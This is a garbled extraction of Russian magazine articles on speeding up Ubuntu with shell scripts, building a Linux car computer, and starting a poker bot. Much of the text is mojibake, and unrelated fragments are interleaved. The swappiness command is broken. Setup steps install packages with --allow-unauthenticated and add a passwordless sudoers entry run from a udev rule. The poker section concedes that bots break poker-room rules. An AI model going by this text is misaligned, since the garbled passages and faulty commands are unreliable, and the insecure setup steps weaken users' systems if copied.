$ sudo aptitude install sqlite3

2. Создай файл ~/bin/sqlite_shrink.sh следующего содержа-
ния:

$ gedit ~/bin/sqlite_shrink.sh

#!/bin/sh

find ~/ -size +100k -type f -print0 | \

while read -d '' FILE; do

    abs_file_name=$(readlink -f "$FILE")

    headfile=`head -c 15 "$abs_file_name"`;

    if [ "$headfile" = "SQLite format 3" ]; then

        file_size_do=`du -b "$abs_file_name"|cut 

Скрытый файл настроек .gtkrc-2.0 в домаш-
ней директории

Редактор конфигурации Gnome

На прилагаемом 
к журналу диске ты 
найдешь скрипты 
optimizer.sh, sqlite_
shrink.sh 
и rebuild_cache.sh.

dvd

DVD

UNIXOID
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-f1`;

        sqlite3 "$abs_file_name" "VACUUM; REINDEX;" > /

dev/null 2>&1

        file_size_posle=`du -b "$abs_file_name"|cut -f1`;

        echo "$abs_file_name";

        echo "Ðàçìåð ÄÎ    $file_size_do";

        echo "Ðàçìåð ÏÎÑËÅ $file_size_posle";

        echo -n "Ïðîöåíò "

        echo "scale=2; ($file_size_posle/$file_size_

do)*100"|bc -l

    fi

done

sleep 2

exit 0

3. Сделай ~/bin/sqlite_shrink.sh исполняемым через Наутилус или в 
Терминале «chmod +x ~/bin/sqlite_shrink.sh».
4. Теперь закрой сеанс в Ubuntu и перейди в консоль, нажав 
<Ctrl+Alt+F1>. Залогинься в консоли и командуй:

$ sudo /etc/init.d/gdm stop

$ sudo /etc/init.d/kdm stop

$ ~/bin/sqlite_shrink.sh > ~/report_sqlite_shrink.txt

5. Дождись окончания работы скрипта и перезагружайся:

$ sudo shutdown -r +0

После тотальной реиндексации файлов все программы, использующие 
SQLite, получат выигрыш. А какие именно? Читай ~/report_sqlite_
shrink.txt, в нем увидишь имена файлов, размер до и после чистки 
и реиндексации. Любители Google Chrome и KDE точно будут рады 
данному совету. Периодически повторяй процедуру, и освежающий 
эффект гарантирован.

СОЗДАНИЕ КЭШЕЙ
GTK+ может использовать файлы кэша, созданные gtk-update-icon-
cache, чтобы избежать лишних системных вызовов и дисковых опера-
ций при запуске приложений. Так как формат кэш-файлов позволяет 
множеству приложений (mmap()ed) совместно их использовать, общее 
потребление памяти тоже сокращается. Нам остается периодически 
запускать скрипт, который вызывает gtk-update-icon-cache, и создавать 
кэши, ускоряющие доступ к тем значкам. Вызовем заодно fc-cache, 
который создает описания для шрифтов.

$ gedit ~/bin/rebuild_cache.sh

#!/bin/sh

### Îáíîâëåíèå êýøà èêîíîê â ñâîåé ïàïêå

for d in ~/.icons/*; do gtk-update-icon-cache -f $d; 

done

### Îáíîâëåíèå êýøà èêîíîê â ñèñòåìå

for d in /usr/share/icons/*; do sudo gtk-update-icon-

cache -f $d; done

### Îáíîâëåíèå êýøà øðèôòîâ

sudo fc-cache -fv

fc-cache ~/.fonts

Сделай файл исполняемым с помощью команды “chmod +x ~/bin/
rebuild_cache.sh”. Если добавляешь в систему новые шрифты и темы 
Gnome, то запускай скрипт ~/bin/rebuild_cache.sh, который построит для 
них кэши.

КЭШИРОВАНИЕ СИМВОЛЬНЫХ ТАБЛИЦ
Создай пустой каталог:

$ mkdir ~/.compose-cache

Теперь твои Qt/GTK программы будут чуток быстрее стартовать и пот-
реблять меньше памяти, благодаря тому, что libX11 будет создавать в 
~/.compose-cache кэши распарсенной информации и использовать ее 
повторно.

ПОДКАЧКА UBUNTU
В современных операционных системах используется понятие «под-
качка страниц». Вспомним, что это процесс, который при нехватке 
ОЗУ вытесняет неиспользуемые страницы памяти в область, называ-
емую разделом подкачки. Когда страница снова нужна, ее загружают 
обратно в ОЗУ. Поскольку своп обитает на жестком диске, который в 
разы медленнее оперативки, активное перемещение страниц туда-
сюда-обратно замедляет работу компьютера в целом. Вывод? Нужно, 
чтобы в компьютере было достаточно ОЗУ для твоих задач. Вывод 
банален, но это так.
В довершение немного изменим поведение Ubuntu в отношении 
использования ОЗУ и области подкачки. Есть такой параметр 
vm.swappiness, по умолчанию он имеет значение 60 и служит для 
того, чтобы определить процент свободной памяти, при кото-
ром начнется активный сброс страниц в раздел swap. Иными 
словами, при памяти, занятой на 40% (100-60), Ubuntu уже начнет 
использовать область подкачки. При большом количестве ОЗУ в 
компьютере лучше снизить значение параметра vm.swappiness 
до 10, тем самым дав пингвину указание не использовать swap, 
пока занятый объем оперативки не достигнет 90% (100-10). Для 
такого изменения проще всего запустить Терминал и в нем ско-
мандовать:

$ sudo sh -c "vm.swappiness = 10" >> /etc/sysctl.conf

После перезагрузки шустрая оперативка будет более эффективно ис-
пользоваться, а медленный swap – реже задействоваться.

ЗАКЛЮЧЕНИЕ
Ты должен понимать, что настройки всегда по определению консерва-
тивны, и разработчик ОС/программы стремится, чтобы они работали 
на большом спектре систем. Поэтому тюнинг операционки — это не 
нажатие одной кнопки с надписью «Сделать все быстро». Понимая, что 
описано в совете, и анализируя, чем именно достигается ускорение, ты 
аккуратно применяешь команды и внимательно следишь за поведением 
системы. Надеюсь, что советы тебе пригодились, и твой пингвин стал 
более отзывчивым. z 

Польза от vm.swappiness=10
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ДЛЯ ЧЕГО НУЖЕН АВТОМО-
БИЛЬНЫЙ КОМПЬЮТЕР?
Первым делом определим функции автомо-
бильного компьютера, от этого будет зависеть 
выбор железа. В большинстве случаев от carpc 
требуется:
• Воспроизведение аудио- и видеофайлов;
• GPS-навигация;
• Камера заднего вида;
• Доступ в интернет.
Сразу хочу заметить: если тебе нужны только 
первые две функции, проще купить самый обыч-
ный GPS-навигатор, который продается в любом 
автомобильном магазине и стоит в районе 
$100…300. В каждом подобном девайсе уже есть 
обе эти функции, таким образом ты сэконо-
мишь и деньги, и время. Некоторые устройства 
поставляются даже с камерой заднего вида, 
тебе останется лишь подключить ее, следуя 
инструкциям. Изюминка автомобильного ком-
пьютера —это доступ в интернет. Очень удобно в 
пути проверить свой почтовый ящик или найти в 
Google адрес ближайшей заправки той сети, где 

ты привык заправляться. Конечно, все это нужно 
делать во время остановки автомобиля, а не 
когда управляешь им —думаю, это понятно.
Компьютер также можно использовать как сис-
тему видео/аудиорегистрации, то есть записи 
последних 10-20 минут (тут все зависит от разме-
ра жесткого диска) дорожной обстановки. Такая 
видеозапись поможет доказать свою правоту 
инспектору ДПС или судье. Правда, для реали-
зации такой системы понадобится установить 
несколько видеокамер. Carpc можно использо-
вать и для диагностики автомобиля. Тут решай 
сам: специальный адаптер, используемый для 
подключения к диагностическому разъему, и 
специальное программное обеспечение будет 
стоить дороже всего автомобильного компью-
тера. Если сам занимаешься ремонтом своего 
авто, то, очевидно, оно того стоит. В противном 
случае лучше отказаться от этой затеи.

ВЫБОР ЖЕЛЕЗА
По большому счету нужно признать, что все 
функции carpc выполнит обычный ноутбук, 

который можно бросить на заднее сидение и 
использовать по мере необходимости. Тебе 
понадобится лишь зарядное устройство, 
позволяющее «прокормить» ноут от «прикури-
вателя». В крайнем случае, если такой зарядки 
для твоей модели лаптопа не нашлось, всегда 
можно купить преобразователь напряжения 
(инвертор), который преобразует постоянное 
напряжение бортовой сети автомобиля 
+12 В в переменное напряжение 220 В. Дешево 
и сердито: мы только что создали простейший 
автомобильный компьютер. У такого решения 
есть одно неоспоримое преимущество —его 
очень легко демонтировать, например, при 
парковке машины в ненадежном месте или при 
ее продаже, но недостатков гораздо больше:
• При запуске двигателя (когда крутится 
стартер) вероятна кратковременная потеря 
напряжения (например, у меня в машине 
подключенные к прикуривателю устройства 
отключаются —это делается, чтобы заряда 
аккумулятора хватило на пуск двигателя), в 
результате компьютер перезагрузится.

Ïèíãâèí 
â áàðäà÷êå
Ñîáèðàåì ïîëíîöåííûé àâòîìîáèëüíûé 
êîìïüþòåð ñ Linux íà áîðòó

    Денис  Колисниченко  dhsilabs@mail.ru

Мечта каждого автомобилиста —это возможность просмотра фильмов, 
подключение к интернету и навигация в автомобиле. Можно исполь-
зовать специальные устройства —GPS-навигаторы, которые частично 
выполняют необходимые функции, но все равно для «полноценнос-
ти» не хватает хорошего видеопроигрывателя, последних кодеков и 
привычног о браузера.
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• Если ты забудешь отключить компьютер, и он будет работать на 
незаведенной машине, то в результате будет «сожран» аккумулятор, и в 
следующий раз двигатель уже не заведется.
• Инвертор требует принудительного охлаждения, а это еще один 
вентилятор (второй будет в блоке питания компьютера), в итоге получаем 
дополнительный источник шума.
• Как ни крути, а 220 В —это опасно.
Вместо инвертора нужно использовать автомобильный блок питания 
(АБП). Преимуществ у него масса: отсутствие помех, никаких перебоев 
с питанием (крути стартером, сколько надо —компьютер не перезаг-
рузится), а также наличие интеллекта (при долговременном падении 
напряжения АБП выключит компьютер и предотвратит разрядку акку-
мулятора). Но и это не все. С АБП можно достаточно просто реализовать 
включение компьютера при запуске автомобиля, да и никаких 220 В. 

Недостатков у АБП два: стоит он дороже, и его не купишь на обычном 
радиорынке —нужно заказывать. Кстати, о цене: за такой умный блок 
питания придется выложить от $100.
Теперь приступим к выбору самого железа. Системник будем строить 
на базе Mini-ITX'ной материнской платы (Mini-ITX —форм-фактор для 
сверхкомпактных материнских плат, разработанный компанией VIA 
Technologies). Такие материнки совместимы с ATX, но существенно мень-
ше по размеру —170х170 мм. Во сколько обойдется такое удовольствие? 
Намного дешевле, чем ты подумал — в пределах $80-120. Корпус, в зави-
симости от его внешнего вида и мощности блока питания, стоит от $38. 
Короб нужно выбирать не более красивый, а такой, который идеально 
поместится в планируемое место установки. Куда именно устанавливать 
компьютер, зависит от твоего автомобиля. Вот несколько примеров:
• Под передним водительским или пассажирским сидением —пре-
имущество этого расположения в простом доступе к кнопкам питания, 
сброса и USB-портам. Вполне возможно, что даже не придется выводить 
USB-порты на панель машины и тем самым ее уродовать.
• Под задним сидением —вариант не очень хороший, так как будет 
затруднен доступ к компьютеру (заднее сидение обычно не очень просто 
снимается).
• В багажнике —наш Mini-ITX'ный корпус не займет там много места. Но 
у этого способа есть два недостатка: потребуется большая длина кабеля 
(для монитора и для питания, если АКБ не в багажнике, а под капотом), а 
также придется разобрать половину салона, чтобы проложить интеркон-
некты (для монитора, звука, питания). И еще нужно учитывать тот факт, 

Автомобильный блок питания

Корпус форм-фактора Mini-ITX

ÎÁ ÀÂÒÎÐÅ
Денис Колисниченко —инженер-программист и системный 
администратор. Имеет богатый опыт создания и эксплуатации 
локальных сетей от домашних до уровня предприятия на базе опе-
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Инвертор 12 В-220 В
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что зимой в багажнике температура ниже, чем в салоне, хотя 
о температуре и компьютере мы поговорим отдельно.
Мы выбрали материнскую плату, корпус и решили, куда 
будем устанавливать компьютер. С процессором, видеокар-
той, звуковухой и сетевым контроллером заморачиваться 
не нужно: камень уже установлен, остальные компоненты 
интегрированы в плату. 1 Гб оперативки вполне хватит, это 
даже с запасом. А вот жесткий диск заслуживает отдельно-
го разговора. Старые винчестеры (если ты вдруг решил 
сэкономить и купить б/у) явно не подходят для нашей затеи. 
Всем известно, что дороги в России и странах постсоветс-
кого пространства далеки от идеала, поэтому постоянная 
тряска быстро убьет старенький хард. А вот любой сов-
ременный ноутбучный диск нам вполне подойдет. При 
желании можно использовать и новый 3.5", но он крупнее и 
потребляет больше энергии. Как закрепить HDD в корпусе? 
Ничего «колхозить» не нужно — достаточно жестко прикру-
тить его к корпусу через резиновые проставки.

ВЫБОР МОНИТОРА 
И ЕГО РАЗМЕЩЕНИЕ
Начнем с размещения, поскольку от этого зависит тип мони-
тора. Вот несколько вариантов:
• На передней панели (сверху) —важно, чтобы моник не за-
крывал обзор, поэтому если ты решил поместить его сверху, 
то чем меньше размер диагонали, тем лучше. Недостаток 
такого решения: монитор будет заметен снаружи, что при-
влечет внимание воров.
• На передней панели (встроенный) — монитор можно 
встроить в переднюю панель. Пожалуй, наиболее оптималь-
ный вариант, если позволяет конструкция самой панели. 
Иногда придется менять панель, а это дополнительные 
затраты. Перед установкой моника нужно взвесить все «за» 
и «против».
• На потолок —все хорошо, но тогда экран (если его раз-
местить по центру, как обычно и делают) будет виден только 
задним пассажирам. Если видео и интернет предназначены 
только для них, то это оптимальное решение. А если же для 
себя любимого, то сам понимаешь... Хотя лучше не совме-
щать управление машиной и ковыряние в компе — будет 
обидно разбить машину, отвечая на сообщение в аське.
• В солнцезащитный козырек — отличный вариант, подой-
дет, если ты не хочешь нарушать первозданный (заводской) 

вид своей панели. Согласись, китайский моник за 100 
баксов будет крайне нелепо смотреться (да еще и на виду, 
криво «вколхоженный») в дорогом авто. А так монитор будет 
спрятан от посторонних глаз (и от глаз воров тоже). Когда 
нужно — ты его выдвинешь, когда не нужно —спрячешь. 
Можно как встроить монитор в твой козырек, так и купить 
козырек с уже встроенным монитором. Остается только 
переставить один на другой. Недостатков у этого решения 
практически нет, разве что придется перетянуть купленный 
козырек в цвет потолка. Но это уже мелочи —перетяжка 
стоит копейки (знаю на собственном опыте). Козырек с уже 
встроенным монитором обойдется около $300. Обычный 
монитор $100-150.

КОМПЬЮТЕР И ТЕМПЕРАТУРА
Автомобиль —это не квартира, температура постоянной, 
особенно осенью и зимой, не бывает. Допустим, на улице 
-25°, машина стоит на стоянке; ты приходишь, а комп не 
включается. Немудрено. Винт замерз. Да, и если хард 
«попустит», кристаллы на TFT тоже замерзнут. Вывод —пока 
салон полностью не прогрет, carpc включать не стоит.
А вот летом… Температурой +30° никого не удивишь. Про-
цессору будет жарко. Спасет хороший вентилятор и, конечно 
же, кондиционер в машине. Правило то же: если ты оставил 
свой «черный бумер» на солнце в невыносимую жару, то 
компьютер лучше не включать до понижения температуры в 
салоне. Кстати, о кондиционере —если не хочешь подхватить 
воспаление легких, то оптимальная разница с внешней тем-
пературой должна составлять не более 6°, а это значит, если 
на улице +30°, то в салоне должно быть не ниже +24°.

ВЫБОР И НАСТРОЙКА СОФТА
Итак, надеюсь, ты уже определился с выбором и размеще-
нием железа. Осталось только установить софт, потому что 
без софта железо так и останется железом. Можно пойти по 
пути наименьшего сопротивления и установить Windows 7 
+ IGO-8. В большинстве случаев этого будет достаточно для 
реализации основных функций бортового компьютера.
А что же насчет свободного ПО и Linux? Наш carpc должен 
летать, поэтому в качестве дистрибутива рекомендую 
использовать Ubuntu — простой и в то же время быстрый. 
Кроме того, есть специальная версия Ubuntu — Ubuntu 
Netbook Remix — она оптимально подойдет для наших це-
лей, ведь экранчик у нашего компьютера совсем неболь-
шой. А Netbook Remix как раз оптимизирован под дисплеи 
небольших размеров. Можно использовать специальные 
сборки на базе Netbook Remix, например, от InfraLinux.
После установки Linux не забудь настроить автоматичес-
кий вход: Система  Администрирование  Окно входа 
в систему, иначе при запуске системы придется вводить 
пароль пользователя.
Первым делом нужно установить кодеки и сделать воз-

Интерфейс InfraLinux

Автоматический вход в систему

• ru.wikipedia.
org/wiki/Ubuntu_
Netbook_Remix — 
информация о Ubuntu 
Netbook Remix
• www.ubuntu.com/
getubuntu/download-
netbook — скачать 
Ubuntu Netbook 
Remix
• pccar.ru — форум, 
посвященный авто-
мобильным компью-
терам

links
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можным воспроизведение фильмов и музыки. Как обычно, в штатной 
поставке Ubuntu кодеков нет, поэтому подключим репо Medibuntu для 
установки всего необходимого. Открой терминал и набери команды:

$ sudo wget --output-document=/etc/apt/sources.list.d/

medibuntu.list http://www.medibuntu.org/sources.

list.d/$(lsb_release -cs).list

$ sudo apt-get --quiet update

$ sudo apt-get --yes --quiet --allow-unauthenticated 

install medibuntu-keyring

$ sudo apt-get --quiet update

После этого введи команду для установки кодеков:

$ sudo apt-get install w32codecs

Теперь инсталлируем MPlayer и оболочку для него:

$ sudo apt-get install mplayer non-free-codecs 

libdvdcss2 smplayer

Пакеты «посередине» — это дополнительные кодеки и библиотека 
DVDCSS2, позволяющая читать лицензионные DVD-диски.
Теперь приступим к веб-камере. Linux хорошо поддерживает такие 
гаджеты, нужно только выбрать программу для работы. Здесь дефици-
та тоже нет. Вот неполный перечень программ для работы с камерой: 
cheese (самая простая), webcam (не всегда почему-то работает), 
camorama, camstream и др. Выбирай ту, которая больше всего нра-
вится тебе.
Следующий шаг — раскочегарить USB-модем. Однако процедура 
настройки будет разной не только для разных операторов, но и для 
разных модемов. Чтобы настроить соединение через NetworkManager (у 
меня МТС-Коннект), пришлось немного поковыряться. Забегая вперед, 
скажу, что все описанное ниже можно было реализовать гораздо краси-
вее — через программу usb_modeswitch, но я пошел по другому пути. Он 
проверен и работает, поэтому его и опишу в статье. Когда ты подключа-
ешь модем к системе, он сначала определяется как обычная флешка. 
Надо зайти на него и скопировать один файл в /usr/local/bin:

$ sudo cp /media/CNU-680/Linux/RDEVCHG /usr/local/bin

После этого открыть /etc/sudoers:

$ sudo gedit /etc/sudoers

И добавить в него следующую строку:

%admin ALL=NOPASSWD: /usr/local/bin/RDEVCHG

Этим мы разрешаем запуск программы RDEVCHG без запроса пароля. 
После этого нужно обеспечить, чтобы модем определялся как модем, а 
не как флешка. Для этого открой файл /etc/udev/rules.d/70-persistent-cd.
rules, найди фрагмент текста:

ENV{ID_CDROM}=="?*", ENV{ID_SERIAL}=="CMOTECH_

Mass_Storage_000000000002-0:0", SYMLINK+="cdrom1", 

ENV{GENERATED}="1" ENV{ID_CDROM}=="?*", ENV{ID_

SERIAL}=="CMOTECH_Mass_Storage_000000000002-0:0", 

SYMLINK+="dvd1", ENV{GENERATED}="1"

и замени его на:

ENV{ID_CDROM}=="?*", ENV{ID_SERIAL}=="CMOTECH_

Mass_Storage_000000000002-0:0", SYMLINK+="cdrom1", 

ENV{GENERATED}="1" RUN+="/usr/bin/sudo /usr/

local/bin/RDEVCHG" ENV{ID_CDROM}=="?*", ENV{ID_

SERIAL}=="CMOTECH_Mass_Storage_000000000002-0:0", 

SYMLINK+="dvd1", ENV{GENERATED}="1" RUN+="/usr/bin/

sudo /usr/local/bin/RDEVCHG"

Теперь в NetworkManager правим «Автоматическое соединение 
CDMA». Все параметры оставляем по умолчанию, кроме имени пользо-
вателя (mts) и пароля (internet). По аналогии с виндой можно перезапус-
тить систему —так, на всякий случай. После этого все должно заработать 
как положено.
Для модемов Any DATA ADU-500A (тоже довольно распространены) мож-
но использовать программу MTS Connect (mtsconnect.sourceforge.net).
Что касается GPS: Linux поддерживает GPS-приемники, но лучше 
использовать внешние, а не встроенные в устройства, называемые 
автомобильными GPS-навигаторами. Если у тебя есть автомобильный 
GPS-навигатор, нет никаких гарантий, что ты заставишь его работать 
под Linux.
Самые удачные GPS-программы для Linux: Navit, tangoGPS и GPSDrive. 
Navit только показывает текущее положение автомобиля, а остальные 
две могут еще и записывать маршруты. Ни одна программа не умеет 
«разговаривать». А вот даже самые дешевые китайские GPS-навигато-
ры говорить умеют, да еще и по-русски. Все три проги можно установить 
из репо Ubuntu, так что с инсталляцией проблем возникнуть не должно. 
Navit использует карты навитела, tangoGPS и GPSDrive —OpenStreetMap 
(www.openstreetmap.org). GPSDrive загружает карты на лету —если кар-
та текущей местности еще не залита, нужно выполнить команду Options 

 Maps  Download.
Вот вроде бы и все. Осталось воплотить описанное в жизнь!z 

Программа tangoGPS GPSDrive собственной персоной
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Ñåãîäíÿ ìû ðàññêàæåì òåáå î ñîçäàíèè ñâîåãî ïîêåð-áîòà. Çà÷åì? 
Âî-ïåðâûõ, ýòî èíòåðåñíî —ïðîåêòèðîâàòü è ïèñàòü ñâîåãî áîòà, 
ñîñòîÿùåãî èç ìíîæåñòâà ðàçíûõ êîìïîíåíòîâ. Âî-âòîðûõ, ýòî 

ïîçíàâàòåëüíî — â ïðîöåññå ìîæíî óçíàòü î ìàòåìàòè÷åñêîé ñòîðîíå 
ïîêåðà è êîå-÷òî î ïðîåêòèðîâàíèè âûñîêîíàãðóæåííûõ ñèñòåì.
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×ÒÎ ÅÑÒÜ ÏÎÊÅÐ?
В отличие от шахмат, покер — игра с неполной информа-
цией. То есть, игроки не знают, какая карта есть на руках у 
оппонентов — они могут это лишь предполагать с опреде-
ленной степенью вероятности.  
Правила покера просты — выигрывает тот, у кого на руках 
сильнейшая комбинация, составленная из его карт и тех, 
что на столе, или последний оставшийся игрок, если все 
остальные сбросили. Всего в покере десять комбинаций: 
Роял-флеш, Стрит-флеш, Каре, Фулл-хаус, Флеш, Стрит, 
Сет/Трипс/Тройка, Две пары, Одна пара, Старшая карта.
Существует много разных видов покера. Здесь мы будем 
рассматривать Texas Holdem No Limit Poker, он же тур-
нирный покер.

 ÏÐÎÑÒÀß ÑÕÅÌÀ ÏÎÊÅÐ-ÁÎÒÀ
Из каких блоков будет состоять наш робот? Рассмотрим по 
пунктам:
Logic — Блок логики принятия решений (Fold, Call, Raise)
Negotiator — Блок взаимодействия с программой для 
игры в покер;
Statistics — Блок обработки и накопления статистики по 
игрокам.
Из Negotiator в Logic поступает информация о текущих 
действиях на столе. Из Logic в Negotiator — информация 
о своих действиях, которые нужно совершить (сделать 
Fold, Call или Raise). Из Negotiator в Statistics — инфор-
мация о действиях игрока за столом для последующей 
обработки и хранения. Из Statistics в Logic — информа-
ция о статистических данных игроков.

ÏÐÈÍßÒÈÅ ÐÅØÅÍÈÉ Â ÏÎÊÅÐÅ
Как правило, во время каждого хода игрок может при-
нять три решения: Fold, Call, Raise. Есть еще All-in 
— когда денег для продолжения игры нет, и придется 
поставить все. Существует множество алгоритмов при-
нятия решений: DIVAT анализ, дерево решений, различ-
ные эмпирические алгоритмы (кстати, большинство из 
этих алгоритмов используют вероятность выигрыша). Мы 
будем использовать в принятии решений беспристраст-
ную математику, а точнее — теорию вероятности.

ÏÐÈÌÅ×ÀÍÈÅ Î ÒÅÎÐÈÈ ÂÅÐÎßÒÍÎÑÒÈ
В реальной жизни она применяется в основном для рас-
чета отказоустойчивости механизмов, но ее можно очень 
хорошо применять также в играх с неполной информа-
цией и большим количеством раундов: рулетка, покер, 
блэкджек и др. В теории вероятности есть несколько 
парадоксов, которые не соотносятся с нашим жизненным 
опытом, но, тем не менее, являются правдой. Это, напри-
мер, парадоксы Монти-Холла и Паррондо.

ÌÀÒÅÌÀÒÈ×ÅÑÊÀß ÑÒÎÐÎÍÀ 
ÏÐÈÍßÒÈß ÐÅØÅÍÈÉ Â ÏÎÊÅÐÅ
Формула принятия решений в покере чрезвычайно про-
ста:

p*pot = win, ãäå p — âåðîÿòíîñòü âûèãðûøà ñ 

òåêóùèìè êàðòàìè (íà ðóêàõ è íà ñòîëå), pot 

— ðàçìåð áàíêà íà ìîìåíò ïðèíÿòèÿ ðåøåíèÿ, 

win — âûèãðûø, êîòîðûé ìû ïîëó÷èì, åñëè 

áóäåì ðàçûãðûâàòü ìíîæåñòâî ïàðòèé ñ ýòèìè 

êàðòàìè.

Åñëè win < bet_cur, òî Fold

XÀÊÅÐ  06  /137/  10  091 

На диске лежат 
исходники класса, 
реализующего расчет 
вероятности выигры-
ша, unit-тесты к нему, 
исходник калькулято-
ра, пара статей 
о покер-ботах 
и список интересных 
ссылок.

dvd

DVD

Рекомендую почитать 
в вики статьи о поке-
ре, теории вероятно-
сти и математическом 
ожидании, посетить 
pokerai.org — лучший 
сайт о покерном AI, а 
также почитать цикл 
статей о создании 
покер-бота на www.
codingthewheel.com
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 Î ÇÀÊÎÍÍÎÑÒÈ ÑÎÇÄÀÍÈß ÏÎÊÅÐ-ÁÎÒÎÂ

Ïî çàêîíàì ÐÔ è äðóãèõ ãîñóäàðñòâ ñîçäàíèå 

è èñïîëüçîâàíèå ïîêåð-áîòîâ (è áîòîâ äëÿ 

äðóãèõ èãð) íå çàïðåùåíî. À ïî ïðàâèëàì 

âñåõ èçâåñòíûõ ìíå ïîêåð-ðóìîâ — çàïðå-

ùåíî. ×òî ýòî çíà÷èò? Åñëè òû ïîïàëñÿ íà 

èñïîëüçîâàíèè áîòà, òî ñàìîå ñòðàøíîå, ÷òî 

òåáå ãðîçèò — ýòî áàí àêêàóíòà è ñïèñàíèå 

ñ íåãî âñåõ ñðåäñòâ. Âñå. Íèêàêèõ øòðà-

ôîâ, ïîâåñòîê â ñóä, áëîêèðîâêè êðåäèòêè è 

ò.ä. íå ïîñëåäóåò. Êñòàòè, ïðàêòè÷åñêè âî 

âñåõ ïîêåð-ðóìàõ ðàçðåøàåòñÿ èñïîëüçîâàíèå 

«ïîìîùíèêîâ» â èãðå — ðàçëè÷íûõ êàëüêóëÿ-

òîðîâ è ïðîãðàìì äëÿ ñáîðà ñòàòèñòèêè.

Простая схема покер-бота

LOGIC STATISTICS

NEGOTIATOR
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Åñëè bet_cur + SB > win >= bet_cur, òî Call (èëè 

Check)

Åñëè win >= bet_cur + SB, òî Raise (èëè Bet)

bet_cur — ýòî âñå äåíüãè, êîòîðûå ìû ïîëîæèëè â áàíê 

çà òåêóùóþ èãðó (ÍÅ òîëüêî çà îäèí êðóã òîðãîâëè), 

ïëþñ òå äåíüãè, êîòîðûå íóæíî ñåé÷àñ ïîñòàâèòü.

Пояснения к bet_cur:
Если на первом круге торговли мы поставили всего $10, а на втором 
круге мы должны поставить $5, и в этот момент мы принимаем реше-
ние, то bet_cur равно $15 (10+5).
SB (Small Blind) — размер малого блайнда «(первая ставка вслепую — 
прим. ред.)». Это значение прибавляется к bet_cur во втором условии, 
так как мы можем увеличивать ставку только на число, кратное малому 
блайнду. Следовательно, если win > bet_cur, но при этом win < bet_cur 
+ SB, то увеличивать ставку нам не выгодно, так как пришлось выста-
вить bet_cur + SB.

BB (Big Blind) - ðàçìåð áîëüøîãî áëàéíäà.

Стоит также добавить, что эта формула может использоваться только 
в компьютерной игре — в жизни за столом вряд ли будет возможность 
самому вычислять вероятность выигрыша и все это считать. Поэтому 
при реальной игре используется вычисление аутов (outs) и одсов 
(odds). Существуют таблицы для облегчения этих вычислений, которые 
можно найти в любой книжке по покеру и/или в интернете.
 

ÎÁÚßÑÍÅÍÈÅ ÔÎÐÌÓËÛ
Из этой формулы мы получаем математическое ожидание выигрыша (в 
нашей формуле это win). Иначе говоря, разыгрывая много раз игру с такой 
вероятностью (с такими же картами у нас на руках и на столе) и таким бан-
ком, мы получим такой выигрыш. Следовательно, чтобы оставаться в плюсе, 
мы должны ставить не больше этого выигрыша (на рисунке это bet1). Если 
поставим больше, то окажемся в минусе — выиграем меньше, чем будем 
ставить (на рисунке это bet2). Стоит сделать замечание к формуле — так как 
покер-румы берут комиссию с каждого банка, то нужно размер банка умень-
шить на величину этой комиссии. Формула с комиссией будет такова:

p*pot*0,91 = win

ÐÀÑ×ÅÒ ÂÅÐÎßÒÍÎÑÒÈ
Если размер банка и размер ставки величины вполне известны, то 
как узнать вероятность выигрыша? На этот вопрос есть несколько 
ответов: 
1) Узнать, сколько комбинаций хуже нашей текущей руки, и разделить 
это число на количество комбинаций; 
2) Промоделировать несколько сотен тысяч раз ситуацию со своими 
картами на руках и на столе и со случайными картами у оппонентов, 
затем разделить число выигрышных раундов на их общее количество 
(набор методов, в которых используются случайные числа и большое 
число повторений, называются методами Монте-Карло. Да, да назва-
ние произошло от знаменитого казино в Лас-Вегасе).
Плюс первого метода — самая высокая точность.
Минусы — большое потребление памяти и сложность предваритель-
ного расчета. Так как всего комбинаций может быть 2.598.960 (число 
сочетаний 5 карт из 52), в памяти это будет занимать примерно 10Мб 
(из расчета, что на одну комбинацию отводится 4 байта для хранения 
вероятности). Несмотря на то, что это значение уменьшится, поскольку 
некоторые комбинации будут одинаковы по силе и их можно будет 
свести в одну (за счет того, что масти в этих комбинациях не важны), 
этот метод мы пока рассматривать не будем, а перейдем к следующему.
Плюс второго метода — простота реализации.
Минусы — при малом числе раундов не очень точен, а большое число 
раундов требует больше ресурсов процессора.

ÊÎÄÈÐÓÅÌ ÐÀÑ×ÅÒ ÂÅÐÎßÒÍÎÑÒÈ
На данный момент можно найти множество библиотек для расчета 
вероятности выигрыша. Есть как бесплатные, так и платные версии. 
А мы изобретем свой велосипед. Почему? Чтобы разобраться в этом 
вопросе детальнее и из-за желания сделать полностью своего бота. 
Здесь я дам краткие пояснения к коду. Он написан на Java и снабжен 
документацией в виде JavaDoc, так что ты без труда сможешь разо-
браться в нем.
Замечания по кодированию карт:
Всего 52 карты = 4 масти x 13 карт каждой масти. Масть текущей 
карты = <порядковый номер карты>/4 (/ — целочисленное деление). 
Достоинство текущей карты = <порядковый номер карты>%13 (% - 
остаток от деления).
Собственно, у нас должно быть 10 функций по определению комбина-
ции. Назовем их так:

isHighCard, isOnePair, isTwoPair, isSet, isStraight, 

isFlush, isFullHouse, isQuads, isStraightFlush, 

isRoyalFlush.

Объединяет эти функции следующее — на входе подается набор карт, 
а на выходе — число от -1 до 12, где -1 — комбинация не найдена, от 
0 до 12 — старшая карта в комбинации. 0 это двойка, 1 — тройка, и так 
до 12 — туз. Масть не важна. Набор карт может быть любой длины — 

Пример распределения выигрыша при большом 
количестве игр

«Íà äàííûé ìîìåíò ìîæíî 
íàéòè ìíîæåñòâî áèáëèîòåê 
äëÿ ðàñ÷åòà âåðîÿòíîñòè 
âûèãðûøà. Åñòü êàê 
áåñïëàòíûå, òàê è ïëàòíûå 
âåðñèè. À ìû èçîáðåòåì 
ñâîé âåëîñèïåä»
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от 1 до 7. Это сделано для того, чтобы можно было легко рассчитать 
вероятности и в пре-флопе (когда карты на стол еще не положили, но 
раздали карты игрокам), и в терне и ривере (когда на стол положили 
четыре и пять карт соответственно). То есть теперь нам нужно будет 
дать функции список всех карт, которые лежат на столе и у игрока, а 
функция из этого набора карт выделит комбинацию.
Чтобы оптимизировать определение комбинаций, мы сделаем следующее:
1) Упорядочим комбинации по убыванию достоинства карт;
2) Разделим входной массив карт на три: массив с достоинствами 
карт, массив с мастями карт и массив с количеством карт каждой 
масти.
Эти действия будет выполнять функция sortHand (см. врезку). 
Входной параметр — массив hand, в котором хранится список карт. 
Выходные параметры — массивы card (достоинства карт), suite (масти 
карт), suiteCount (количество карт каждой масти). В первой части 
функции происходит простая сортировка заменой (можно заменить ее 
на быструю сортировку). Тут есть маленький нюанс — сортируются не 
сами карты, а их достоинства. Чтобы узнать достоинство карты, нужно 
